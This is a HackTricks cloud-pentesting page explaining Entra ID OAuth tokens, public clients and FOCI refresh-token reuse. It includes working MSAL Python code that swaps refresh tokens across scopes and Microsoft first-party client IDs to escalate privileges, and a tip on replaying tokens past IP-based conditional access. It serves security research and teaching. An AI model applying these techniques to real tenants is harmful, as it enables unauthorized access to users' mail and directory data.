Az - Tokens & Public Applications
Reading time: 8 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
OAuth
Key Participants in OAuth 2.0:
- Resource Server (RS): Protects resources owned by the resource owner.
- Resource Owner (RO): Typically an end-user who owns the protected resources.
- Client Application (CA): An application seeking access to resources on behalf of the resource owner.
- Authorization Server (AS): Issues access tokens to client applications after authenticating and authorizing them.
Scopes and Consent:
- Scopes: Granular permissions defined on the resource server that specify access levels.
- Consent: The process by which a resource owner grants a client application permission to access resources with specific scopes.
Microsoft 365 Integration:
- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
- These applications are deeply integrated and often have interdependent service relationships.
- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
- Implied Consent: Certain applications are automatically granted access to specific scopes without explicit user or administrator approval.
- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
Client Application Types:
- Confidential Clients:
- Possess their own credentials (e.g., passwords or certificates).
- Can securely authenticate themselves to the authorization server.
- Public Clients:
- Do not have unique credentials.
- Cannot securely authenticate to the authorization server.
- Security Implication: An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
Authentication Tokens
There are three types of tokens used in OIDC:
- Access Tokens: The client presents this token to the resource server to access resources. It can be used only for a specific combination of user, client, and resource and cannot be revoked until expiry - that is 1 hour by default.
- ID Tokens: The client receives this token from the authorization server. It contains basic information about the user. It is bound to a specific combination of user and client.
- Refresh Tokens: Provided to the client with access token. Used to get new access and ID tokens. It is bound to a specific combination of user and client and can be revoked. Default expiry is 90 days for inactive refresh tokens and no expiry for active tokens (be from a refresh token is possible to get new refresh tokens).
- A refresh token should be tied to an
aud
, to some scopes, and to a tenant and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with FOCI applications tokens. - A refresh token is encrypted and only Microsoft can decrypt it.
- Getting a new refresh token doesn't revoke the previous refresh token.
- A refresh token should be tied to an
warning
Information for conditional access is stored inside the JWT. So, if you request the token from an allowed IP address, that IP will be stored in the token and then you can use that token from a non-allowed IP to access the resources.
Access Tokens "aud"
The field indicated in the "aud" field is the resource server (the application) used to perform the login.
The command az account get-access-token --resource-type [...]
supports the following types and each of them will add a specific "aud" in the resulting access token:
caution
Note that the following are just the APIs supported by az account get-access-token
but there are more.
aud examples
- aad-graph (Azure Active Directory Graph API): Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
https://graph.windows.net/
- arm (Azure Resource Manager): Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
https://management.core.windows.net/ or https://management.azure.com/
- batch (Azure Batch Services): Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
https://batch.core.windows.net/
- data-lake (Azure Data Lake Storage): Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
https://datalake.azure.net/
- media (Azure Media Services): Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
https://rest.media.azure.net
- ms-graph (Microsoft Graph API): Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
https://graph.microsoft.com
- oss-rdbms (Azure Open Source Relational Databases): Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
https://ossrdbms-aad.database.windows.net
Access Tokens Scopes "scp"
The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
If a JWT is allowed to contact an specific API but doesn't have the scope to perform the requested action, it won't be able to perform the action with that JWT.
Get refresh & access token example
# Code example from https://github.com/secureworks/family-of-client-ids-research
import msal
import requests
import jwt
from pprint import pprint
from typing import Any, Dict, List
# LOGIN VIA CODE FLOW AUTHENTICATION
azure_cli_client = msal.PublicClientApplication(
"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
)
device_flow = azure_cli_client.initiate_device_flow(
scopes=["https://graph.microsoft.com/.default"]
)
print(device_flow["message"])
# Perform device code flow authentication
azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
device_flow
)
pprint(azure_cli_bearer_tokens_for_graph_api)
# DECODE JWT
def decode_jwt(base64_blob: str) -> Dict[str, Any]:
"""Decodes base64 encoded JWT blob"""
return jwt.decode(
base64_blob, options={"verify_signature": False, "verify_aud": False}
)
decoded_access_token = decode_jwt(
azure_cli_bearer_tokens_for_graph_api.get("access_token")
)
pprint(decoded_access_token)
# GET NEW ACCESS TOKEN AND REFRESH TOKEN
new_azure_cli_bearer_tokens_for_graph_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
# Same scopes as original authorization
scopes=["https://graph.microsoft.com/.default"],
)
)
pprint(new_azure_cli_bearer_tokens_for_graph_api)
FOCI Tokens Privilege Escalation
Previously it was mentioned that refresh tokens should be tied to the scopes it was generated with, to the application and tenant it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
Moreover, this is possible with all refresh tokens in the Microsoft identity platform (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the docs mention: "Refresh tokens are bound to a combination of user and client, but aren't tied to a resource or tenant. A client can use a refresh token to acquire access tokens across any combination of resource and tenant where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
Moreover, note that the FOCI applications are public applications, so no secret is needed to authenticate to the server.
Then known FOCI clients reported in the original research can be found here.
Get different scope
Following with the previous example code, in this code it's requested a new token for a different scope:
# Code from https://github.com/secureworks/family-of-client-ids-research
azure_cli_bearer_tokens_for_outlook_api = (
# Same client as original authorization
azure_cli_client.acquire_token_by_refresh_token(
new_azure_cli_bearer_tokens_for_graph_api.get(
"refresh_token"
),
# But different scopes than original authorization
scopes=[
"https://outlook.office.com/.default"
],
)
)
pprint(azure_cli_bearer_tokens_for_outlook_api)
Get different client and scopes
# Code from https://github.com/secureworks/family-of-client-ids-research
microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
microsoft_office_bearer_tokens_for_graph_api = (
# This is a different client application than we used in the previous examples
microsoft_office_client.acquire_token_by_refresh_token(
# But we can use the refresh token issued to our original client application
azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
# And request different scopes too
scopes=["https://graph.microsoft.com/.default"],
)
)
# How is this possible?
pprint(microsoft_office_bearer_tokens_for_graph_api)
References
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.